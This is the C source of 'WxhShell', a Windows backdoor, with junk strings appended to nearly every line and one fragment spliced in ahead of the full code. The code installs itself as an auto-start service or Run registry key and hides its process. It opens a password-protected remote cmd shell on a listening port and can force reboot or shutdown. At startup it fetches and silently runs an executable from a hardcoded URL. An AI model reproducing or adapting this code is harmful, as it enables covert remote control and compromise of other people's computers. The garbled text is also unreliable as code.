    if(Boot(SHUTDOWN)) ^62|d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}mw'_ I  
    else { 5y2? f  
    closesocket(wsh); aFiCZHohw  
    ExitThread(0); r9 y.i(j  
    } kyh_9K1  
    break; _zxLwU1(x  
    } ulHn#)  
  // 获取shell 8 S`9dSc  
  case 's': { 3Rg}+[b  
    CmdShell(wsh); fyz nuUl  
    closesocket(wsh); egR9AEJvz  
    ExitThread(0); @(``:)Z<b  
    break; 3XiO@jzre  
  } =! Vf  
  // 退出 2g*J  
  case 'x': { I:(m aMc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NW|f7 ItX  
    CloseIt(wsh);  c9''  
    break; $h9='0Wi0'  
    } `D( xv  
  // 离开 rR ES8/  
  case 'q': { 4W4kwU6D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |4)  
    closesocket(wsh); >4m'tZ8  
    WSACleanup(); -37a.  
    exit(1); WE}kTq  
    break; Hs"(@eDV&J  
        } 6TWWl U^e  
  } 5/[H+O1;  
  } $!vxVs9n  
h)lPi   
  // 提示信息 b/$km?R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :vx$vZb  
} A|#`k{+1-  
  } IJOvnZ("A  
rn@`yTw^  
  return; U;_[b"SW%  
} 4Ph0:^i_  
vP%tk s+.  
// shell模块句柄 &MmU  
int CmdShell(SOCKET sock) Hi! Jj  
{ 80}+MWdo  
STARTUPINFO si; "}WJd$  
ZeroMemory(&si,sizeof(si)); |as!Ui/J/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S&O3HC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p]D]: Z}P  
PROCESS_INFORMATION ProcessInfo; -!RtH |P  
char cmdline[]="cmd"; @YvOoTyb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yn AB  
  return 0; + j+5ud`  
} VO3pm6r5  
5F+APz7  
// 自身启动模式 K`}{0@ilCw  
int StartFromService(void) QR?yG+VU  
{ )CPM7>  
typedef struct JG`Q;K  
{ _Jz8{` "  
  DWORD ExitStatus; aeyNdMk -  
  DWORD PebBaseAddress; D'<VYl"/  
  DWORD AffinityMask; l@j.hTO<  
  DWORD BasePriority; vg Ipj3u  
  ULONG UniqueProcessId; %z]U LEYrZ  
  ULONG InheritedFromUniqueProcessId; i LBvGZ<9  
}   PROCESS_BASIC_INFORMATION; +.B<Hd  
t9gfU5?  
PROCNTQSIP NtQueryInformationProcess; :pX`?Ew`g  
_i_Q?w`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?rVy2!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eO=s-]mk  
L(S'6z~_9  
  HANDLE             hProcess; iO /XhSD  
  PROCESS_BASIC_INFORMATION pbi; |LG4=j.l  
k;PAh>8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'z@0  
  if(NULL == hInst ) return 0; Kr'f-{  
c'6g*%2k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'XQ`g CF=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <oKGD50#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l} ^3fQXI  
Kemw^48ts  
  if (!NtQueryInformationProcess) return 0; xp'_%n~K@  
}UJv[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nZ1zJpBmI  
  if(!hProcess) return 0; 5la>a}+!!h  
. JX EK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +=Jir1SLV  
,&PE6h n  
  CloseHandle(hProcess); VLsxdwHgb  
MfO:m[s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7`vEe 'qz  
if(hProcess==NULL) return 0; O-]mebTvw  
qs\2Z@;  
HMODULE hMod; 9 Gy  
char procName[255]; 'oNO-)p\#!  
unsigned long cbNeeded; vzzE-(\\e  
JTqDr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r;9 r!$d  
7*Qk`*Ii  
  CloseHandle(hProcess); .LVQx  
Ng><n}  
if(strstr(procName,"services")) return 1; // 以服务启动 wS+V]`b  
<H3ezv1M  
  return 0; // 注册表启动 q/3ziVd7p  
} T lAR.cV  
H>Q%"|  
// 主模块 &*G<a3 Q  
int StartWxhshell(LPSTR lpCmdLine) j.~!dh$mg  
{ (Q[fS:U  
  SOCKET wsl; WH ?}~u9  
BOOL val=TRUE; 'ckQg=zPR  
  int port=0; /[:dp<  
  struct sockaddr_in door; #Lsnr.80  
LZPuDf~/  
  if(wscfg.ws_autoins) Install(); f-6vLX\Vu  
waX>0e  
port=atoi(lpCmdLine); AL/?,%F  
EcIE~qs  
if(port<=0) port=wscfg.ws_port; t$2_xX  
K]/4qH$:  
  WSADATA data; )m6M9eC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @uo ~nFj,  
Yw5'6NU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -yxOBq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~pa!w?/bQ  
  door.sin_family = AF_INET; IJTtqo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R(.}C)q3  
  door.sin_port = htons(port); +[\eFj|=  
,h|qi[7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f~E*Zz`;  
closesocket(wsl); Vc^HVyAx@n  
return 1; $VAx:Y|  
} 6s,uXn  
^@P1 JNe  
  if(listen(wsl,2) == INVALID_SOCKET) { I8oo~2Q w  
closesocket(wsl); a`Gx=8  
return 1; 8eA+d5k\.  
} Vz14j_  
  Wxhshell(wsl); %1pYE Hn  
  WSACleanup(); "~UUx"Y  
- (#I3h;I  
return 0; EM>}0V  
%h1N3\y9i(  
} yx V:!gl  
IUR<.Y`  
// 以NT服务方式启动 t+oJV+@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &`b "a!  
{ d0'J C*  
DWORD   status = 0; "5cM54Z0  
  DWORD   specificError = 0xfffffff; k6`6Mjbc  
L lqM c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (F7(^.MG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j4=(H:c~E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3+ >G#W~  
  serviceStatus.dwWin32ExitCode     = 0; hF2IW{=!  
  serviceStatus.dwServiceSpecificExitCode = 0; dEBcfya  
  serviceStatus.dwCheckPoint       = 0; 2VW}9O  
  serviceStatus.dwWaitHint       = 0; q&C""!h^  
!4]9!<.k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tx?dIy;  
  if (hServiceStatusHandle==0) return; CctJFcEZ  
kw2T>  
status = GetLastError(); &A#~)i5gF  
  if (status!=NO_ERROR) BL@:!t  
{ T843":  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F~ Lx|)0M  
    serviceStatus.dwCheckPoint       = 0; (EPsTox  
    serviceStatus.dwWaitHint       = 0; JNcYJ[wqv  
    serviceStatus.dwWin32ExitCode     = status; j }b\Z9)!  
    serviceStatus.dwServiceSpecificExitCode = specificError; QMv@:Eo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `y#UJYXQE  
    return; 3D?s L!W  
  } %s19KGpA  
z;@*r}H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9Fn\FYUq  
  serviceStatus.dwCheckPoint       = 0; 2Sm }On  
  serviceStatus.dwWaitHint       = 0; ;#w3{ NB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V I% 6.6D  
} U]a*uF~h  
){jl a,[  
// 处理NT服务事件,比如:启动、停止 H@]MXP[_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mf'V)  
{ /VG2.:  
switch(fdwControl) [w ;kkMJAy  
{ \h8 <cTQ  
case SERVICE_CONTROL_STOP: -G6U$  
  serviceStatus.dwWin32ExitCode = 0; Ty88}V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z`YJBcXR  
  serviceStatus.dwCheckPoint   = 0; }i!J/tJ)b  
  serviceStatus.dwWaitHint     = 0; 0p89: I*0  
  { UA|u U5Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1}~(Yj@f%  
  } A 7[:5$  
  return; 'vNG(h#%d  
case SERVICE_CONTROL_PAUSE: )8g(:`w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A$6$,h  
  break; SwZA6R&  
case SERVICE_CONTROL_CONTINUE: e{Z &d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EJ2yO@5O  
  break; <FZ@Q[RP  
case SERVICE_CONTROL_INTERROGATE: 3_A *$  
  break; hMtf.3S7c  
}; s+>:,U<A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n]he-NHP  
} +^;JS3p@\  
<$JaWL  
// 标准应用程序主函数 s(W|f|R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =-p$jXVW%  
{ 7g_]mG [6  
P;4w*((} ~  
// 获取操作系统版本 w&ak"GgV  
OsIsNt=GetOsVer(); O*#*%RL|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b+Br=Fv"T  
`p+Zz"/  
  // 从命令行安装 ToYAW,U[d  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^j7azn  
Yup3^E w&  
  // 下载执行文件 ,0LU~AGe   
if(wscfg.ws_downexe) {  T Q,?>6n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ewg:HX7<(  
  WinExec(wscfg.ws_filenam,SW_HIDE); R##~*>#  
} mc4i@<_?  
y!xE<S&Y  
if(!OsIsNt) { W^"AU;^V56  
// 如果时win9x,隐藏进程并且设置为注册表启动 JchSMc.9  
HideProc(); tJN<PCG6"  
StartWxhshell(lpCmdLine); K(aJi,e>  
} L@fY$Rw  
else Q|@4bzi)  
  if(StartFromService()) Sfdu`MQR  
  // 以服务方式启动 *g^x*|f6  
  StartServiceCtrlDispatcher(DispatchTable); ,i@X'<;y  
else +@r*}  
  // 普通方式启动 Kv~U6_=1O  
  StartWxhshell(lpCmdLine); _o8 ?E&d  
o=1X^,  
return 0; /&4U6a  
} G}p\8Q}'  
'F3)9&M  
Z@r.pRr'  
6^DR0sO  
=========================================== m4*@o?Ow  
q:g2Zc'Y~W  
f7}*X|_Y  
A`R{m0A  
jmeRrnC}  
vhhC> 7  
" --DoB=5%8  
%;D.vKoh  
#include <stdio.h> M'/aZ# b  
#include <string.h> {26ONa#i  
#include <windows.h> bcupo:N  
#include <winsock2.h> ~zw]5|  
#include <winsvc.h> 8,uB8C9  
#include <urlmon.h> TjG4`:*y#m  
Si~vDQ7"  
#pragma comment (lib, "Ws2_32.lib") ~ar=PmYV7  
#pragma comment (lib, "urlmon.lib") :<|<|qJWo  
` He,p -  
#define MAX_USER   100 // 最大客户端连接数 $cZUM}@  
#define BUF_SOCK   200 // sock buffer +sJrllrE(  
#define KEY_BUFF   255 // 输入 buffer zen*PeIrA^  
[ Fz`D/  
#define REBOOT     0   // 重启 4!wR_@W^El  
#define SHUTDOWN   1   // 关机 n?c]M  
&zo|Lfe  
#define DEF_PORT   5000 // 监听端口 Sf r&p>{,  
S.a%  
#define REG_LEN     16   // 注册表键长度 iJ~Vl"|m  
#define SVC_LEN     80   // NT服务名长度 GQ-Rtn4v  
\7*`}&  
// 从dll定义API e zOj+vz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }[xs~! 2F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Ta>U^ 7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1</kTm/Qa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ I/<_AT#  
QMZ)-ty"  
// wxhshell配置信息 z0do;_x]E  
struct WSCFG { m1*O0Tg]"  
  int ws_port;         // 监听端口 }m-FGk  
  char ws_passstr[REG_LEN]; // 口令 '{B!6|"X  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~^cMys |'  
  char ws_regname[REG_LEN]; // 注册表键名 x]33LQ1]  
  char ws_svcname[REG_LEN]; // 服务名 Cn[0(s6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7>~5jYP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {,L+1h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jkvgoxY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tzh1s i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nb>7UN.9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,tg0L$qC  
{+@bZ}57  
}; 9rA=pH%<>B  
1u9LdkhnY  
// default Wxhshell configuration +U3m#Y)k  
struct WSCFG wscfg={DEF_PORT, .e3+s*  
    "xuhuanlingzhe", S1?-I_t+]  
    1, s@7H1)U  
    "Wxhshell", )sT> i  
    "Wxhshell", J.| +ID+  
            "WxhShell Service", @|tL8?  
    "Wrsky Windows CmdShell Service", jt.3P  
    "Please Input Your Password: ", PV=5UyjW  
  1, Gmz6$^D   
  "http://www.wrsky.com/wxhshell.exe", ?pza G{  
  "Wxhshell.exe" 5;{H&O9Q  
    }; mtj h`  
FeTL&$O  
// 消息定义模块 piZJJYv t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D~\$~&_]=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c[ ]4n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QMpoa5ZQG  
char *msg_ws_ext="\n\rExit."; 3F<VH  
char *msg_ws_end="\n\rQuit."; @W9x$  
char *msg_ws_boot="\n\rReboot..."; s4uhsJL V$  
char *msg_ws_poff="\n\rShutdown..."; k{Aj^O3gD  
char *msg_ws_down="\n\rSave to "; icgSe:Ci  
FJ6u.u  
char *msg_ws_err="\n\rErr!"; mOlI#5H  
char *msg_ws_ok="\n\rOK!"; ze]h..,]K  
yiA<,!;4P  
char ExeFile[MAX_PATH]; 5O6hxcMjT  
int nUser = 0; Dv/WE>?Aw  
HANDLE handles[MAX_USER]; D N*t~Z3[  
int OsIsNt; r#Oo nZ  
_Wa. JUbv  
SERVICE_STATUS       serviceStatus; [2{1b`e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^R@j=_8}  
Jtk|w[4L  
// 函数声明 aX}P|l  
int Install(void); |x-S&-  
int Uninstall(void); Mwr"~?\\  
int DownloadFile(char *sURL, SOCKET wsh); .uk>QM s1  
int Boot(int flag); yT,.z 0  
void HideProc(void); KkE9KwZ]W  
int GetOsVer(void); fw RZ5`v<  
int Wxhshell(SOCKET wsl); RSfzRnhmr  
void TalkWithClient(void *cs); 9,r rQQD_  
int CmdShell(SOCKET sock); }x wu*Zx  
int StartFromService(void); jav#f{'  
int StartWxhshell(LPSTR lpCmdLine); G-.^O,%  
5EebPXBzB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $+I;oHWI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^~A>8CQOU  
bG(3^"dS  
// 数据结构和表定义 UZpIcj cL  
SERVICE_TABLE_ENTRY DispatchTable[] = <N9[?g)  
{ 5x>}O3Q_  
{wscfg.ws_svcname, NTServiceMain}, gE?| _x#  
{NULL, NULL} !! ? Mw  
}; BFOq8}fX2  
jE/AA!DC#  
// 自我安装 '4#}e[e  
int Install(void) jYhB +|  
{ jWE :ek*  
  char svExeFile[MAX_PATH]; TTTPxO,  
  HKEY key; ?C A,  
  strcpy(svExeFile,ExeFile); cu/5$m?xx  
9*1,!%]  
// 如果是win9x系统,修改注册表设为自启动 M L>[^F  
if(!OsIsNt) { W!>.$4Q9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u[ Yk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6gs01c,BA  
  RegCloseKey(key);  #c66)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k<\$OoOZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &E=>Hj(dTG  
  RegCloseKey(key); UaB @  
  return 0; 0ok-IHE<  
    } vTx2E6  
  } ikSt"}/hd  
} -xA2pYz"  
else { T]=r Co  
Rw:*'1  
// 如果是NT以上系统,安装为系统服务 HEM9E&rL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ssN6M./6  
if (schSCManager!=0) ktpaU,%  
{ w_{wBL[3e  
  SC_HANDLE schService = CreateService hK,Sf ;5V  
  ( pj?f?.^  
  schSCManager, 7w6cwHrL@  
  wscfg.ws_svcname, L>R P-x>  
  wscfg.ws_svcdisp, Ls] g  
  SERVICE_ALL_ACCESS, u2?|Ue@[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0p!>JQ]m  
  SERVICE_AUTO_START, n4#;k=mA  
  SERVICE_ERROR_NORMAL, n$ou- Q  
  svExeFile, *5^Q7``  
  NULL, S-|)QGxV6  
  NULL, aD$v2)RR  
  NULL, S_IUV)  
  NULL, TmV,&['mg  
  NULL 4QIX19{"  
  ); G%W8S \  
  if (schService!=0) Z Z:}AQ  
  { j4uvS!  
  CloseServiceHandle(schService); -- c"0,7  
  CloseServiceHandle(schSCManager); sv&;Y\2c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B2'i7P s  
  strcat(svExeFile,wscfg.ws_svcname); EKsT~SS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;k>&FWEG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |~vI3]}fx  
  RegCloseKey(key); +w{*Xk)4  
  return 0; \S! e![L/  
    } wlqpn(XR  
  } esMX-.8Cx  
  CloseServiceHandle(schSCManager); 283F)T\Rv  
} s pp f  
} .Lsavpo  
}%_ b$  
return 1; \}"$ ?d'f  
} ~U@;gLoD  
n4R(.N00  
// 自我卸载 O#S;q5L@  
int Uninstall(void) P n>Xbe  
{ )]H-BIuGm  
  HKEY key; r'HtZo$^R  
B=^)Ub5'  
if(!OsIsNt) { hUp.tK:X7o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !FElW`F  
  RegDeleteValue(key,wscfg.ws_regname); )E-inHD /  
  RegCloseKey(key); AN/;)wc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :lPb.UCY  
  RegDeleteValue(key,wscfg.ws_regname); n T{3o;A  
  RegCloseKey(key); U$WxHYo  
  return 0; K|hjEQRv  
  } q$B>|y U  
} EkjN{$*  
} O\"3J(y,  
else { :?g:~+hfO  
1Y7Eajt-5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e'~J,(fB  
if (schSCManager!=0) UJ CYs`y  
{ IpcNuZo9&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2[O&NdP\Zk  
  if (schService!=0) /2=#t-p+  
  { GycSwQ ,  
  if(DeleteService(schService)!=0) { 3@M|m<_R$  
  CloseServiceHandle(schService); { + Zd*)M[  
  CloseServiceHandle(schSCManager); Pa V@aM~3  
  return 0; `\#B18eU  
  } ZK@N5/H(  
  CloseServiceHandle(schService); j/f?"VEr  
  } [d1mL JAR  
  CloseServiceHandle(schSCManager); &h^9}>rVjV  
} "NXB$a!:  
} IDB+%xl#S  
2ZG5<"DQ"  
return 1; [f1 (`<  
} ;U.hxh;+  
d(:8M  
// 从指定url下载文件 4,CXJ2  
int DownloadFile(char *sURL, SOCKET wsh) }dWq=)*  
{ LE9(fe) fe  
  HRESULT hr; ToXki,  
char seps[]= "/"; MbZJ;,e?  
char *token; V@ cM|(  
char *file; #t: S.A@  
char myURL[MAX_PATH]; XBb~\p3y  
char myFILE[MAX_PATH]; HUv/ ~^<  
C9n?@D;S  
strcpy(myURL,sURL); }%'?p<^M  
  token=strtok(myURL,seps); hRrn$BdLX  
  while(token!=NULL) U |Jo{(Y  
  { ZjQ |Wx  
    file=token; s'E2P[:  
  token=strtok(NULL,seps); ND>r#(_\  
  } :UF%K>k2  
lyy W  
GetCurrentDirectory(MAX_PATH,myFILE); QgU8 s'e  
strcat(myFILE, "\\"); $o0 iLFIX/  
strcat(myFILE, file); J;{N72  
  send(wsh,myFILE,strlen(myFILE),0); ]|zp0d=&o  
send(wsh,"...",3,0); :y%/u%L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *n 6s.$p)%  
  if(hr==S_OK) &eCa0s?mI  
return 0; )4<__|52"1  
else W&& ;:Fr  
return 1; $Q96,rb}k;  
HkUWehVm  
} pgI^4h  
q_g+Jf P-D  
// 系统电源模块 )4gJd? 8R  
int Boot(int flag) +;N2p1ZBf  
{ VEqS;~[  
  HANDLE hToken; }L+L"l&  
  TOKEN_PRIVILEGES tkp; %,6#2X nX%  
Sa?ksD2IaB  
  if(OsIsNt) { g*e   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #LL?IRH9^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :Q $K<)[  
    tkp.PrivilegeCount = 1; 7VqM$I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J'SZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q<^Tl(`/N?  
if(flag==REBOOT) { nrxo &9[@n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0=* 8  
  return 0; Ma.`A  
} [E!oQVY  
else { aE&,]'6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \?0&0;5  
  return 0; Tx|Ir+f6L  
} E .7  
  } +*ZO&yJQ^<  
  else { 6y+Kjd/D  
if(flag==REBOOT) { -@yh> 8v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @SJL\{_  
  return 0; tiB_a}5IB  
} 6r"eN%m  
else { wkA+j9.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rz wF~-m +  
  return 0; Oiz ,w7LRh  
} Ljxz.2LGr  
} s%C)t6`9  
B_nVP  
return 1; TcjEcMw,  
} Hfw q/Is  
.S(TxksCz  
// win9x进程隐藏模块 ~P8tUhffK  
void HideProc(void) T>}5:,N~  
{ 8+a4>8[M  
L;VoJf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iop2L51eJ  
  if ( hKernel != NULL ) C([phT;  
  { Vr6@> @SC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S1p;nK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *.sVr7=j  
    FreeLibrary(hKernel); v0-cd  
  } 42e|LUZg  
S M0~fAtE  
return; tZ=E')!\  
} \ e\?I9  
{QcLu"?c  
// 获取操作系统版本 gVq;m>\|F  
int GetOsVer(void) 4L ;% h  
{ WHsgjvh"  
  OSVERSIONINFO winfo;  tBq nf v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pm*xb]8y  
  GetVersionEx(&winfo); #MX'^RZ>2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y.e^hRKb  
  return 1; o<<xY<  
  else 1rv)&tKs  
  return 0; ])|d"[ur=  
} //T>G_1  
M9V q -U18  
// 客户端句柄模块 rR9|6l 3  
int Wxhshell(SOCKET wsl) mef<=5t  
{ 9o;^[Ql-  
  SOCKET wsh; _,xc[ 07  
  struct sockaddr_in client; g!$!F>[  
  DWORD myID; YP.5fq:  
r"``QmM  
  while(nUser<MAX_USER) tk!t Y8j  
{ TD'L'm|2  
  int nSize=sizeof(client); aGJC1x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lG4H:[5V  
  if(wsh==INVALID_SOCKET) return 1; ,4zmb`dP<  
c_-drS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8TGOx%}i  
if(handles[nUser]==0) DF1I[b=]  
  closesocket(wsh); bSfpbo4(  
else 6|aKL[%6  
  nUser++; 5b!vgm#])  
  } ;i Fz?d3;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !lf|7  
ap&?r`Tu  
  return 0; i=i(%yQ%  
} $ et0s;GBv  
J)`-+}7$v  
// 关闭 socket f|h|q_<;  
void CloseIt(SOCKET wsh) :n0vQ5a  
{ bu:S:`  
closesocket(wsh); ln?v j)j  
nUser--; ;'5>q&[qbP  
ExitThread(0); (d(hR0HKE  
} ;pqg/>W'  
PJ]];MQ  
// 客户端请求句柄 ZAv,*5&<  
void TalkWithClient(void *cs) 3&u&x(   
{ o_@4Sl8  
n#q<`}u,  
  SOCKET wsh=(SOCKET)cs; *pAV2V(!23  
  char pwd[SVC_LEN]; u+'tfFds&  
  char cmd[KEY_BUFF]; IPgt|if^  
char chr[1]; "}pNe"ok  
int i,j; \hBG<nH{0  
NdL,F;^  
  while (nUser < MAX_USER) { 62O.?Ij  
 @2Z#x  
if(wscfg.ws_passstr) { i\KQ!f>A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7NDr1Z#B6V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jUSmq m'  
  //ZeroMemory(pwd,KEY_BUFF); Y( 3Bp\6  
      i=0; 99:C"`E{  
  while(i<SVC_LEN) { SS$[VV  
*a58ZI@  
  // 设置超时 k p<OJy  
  fd_set FdRead; }emN9Rj  
  struct timeval TimeOut; M[6:p2u  
  FD_ZERO(&FdRead); H *[_cqnv  
  FD_SET(wsh,&FdRead); D+>4AqG  
  TimeOut.tv_sec=8; o$w_Es]Ma  
  TimeOut.tv_usec=0; ~~v3p>zRr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?Lyxw]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :?/cPg'D  
2Ou[u#H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gW-V=LV (  
  pwd=chr[0]; ft$RSb#  
  if(chr[0]==0xd || chr[0]==0xa) { a"FCZ.O1  
  pwd=0; lrv3fPIW  
  break; -amBB7g  
  } Zrvz;p@~  
  i++; a#>Yh;FA  
    } MC<PM6w  
~kZ G{  
  // 如果是非法用户,关闭 socket zx-81fx+k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \De{9v  
} c- }X_)U }  
~xD ={9BL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VO$ iNK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8ELCs<xI  
sC='_h  
while(1) { WN01h=1J_  
%KmiH ;U  
  ZeroMemory(cmd,KEY_BUFF); u/M+u;  
w,h`s.AN  
      // 自动支持客户端 telnet标准   JKGc3j,+#  
  j=0; ]`kmjn  
  while(j<KEY_BUFF) { !Cr(P e]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4/yZaVb  
  cmd[j]=chr[0]; .u4 W /  
  if(chr[0]==0xa || chr[0]==0xd) { ig/%zA*Bo  
  cmd[j]=0; .Yf:[`Q6g  
  break; Z/t+8;TMR,  
  } Jh ]i]7r  
  j++; #)C[5?{SNq  
    } )rekY;  
D|Q#gcWpo  
  // 下载文件 ,6om\9.E@  
  if(strstr(cmd,"http://")) { {buo^kgj`]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @}@Z8$G^  
  if(DownloadFile(cmd,wsh)) O*0l+mop  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YhDtUt}?  
  else 8=gjY\Dp  
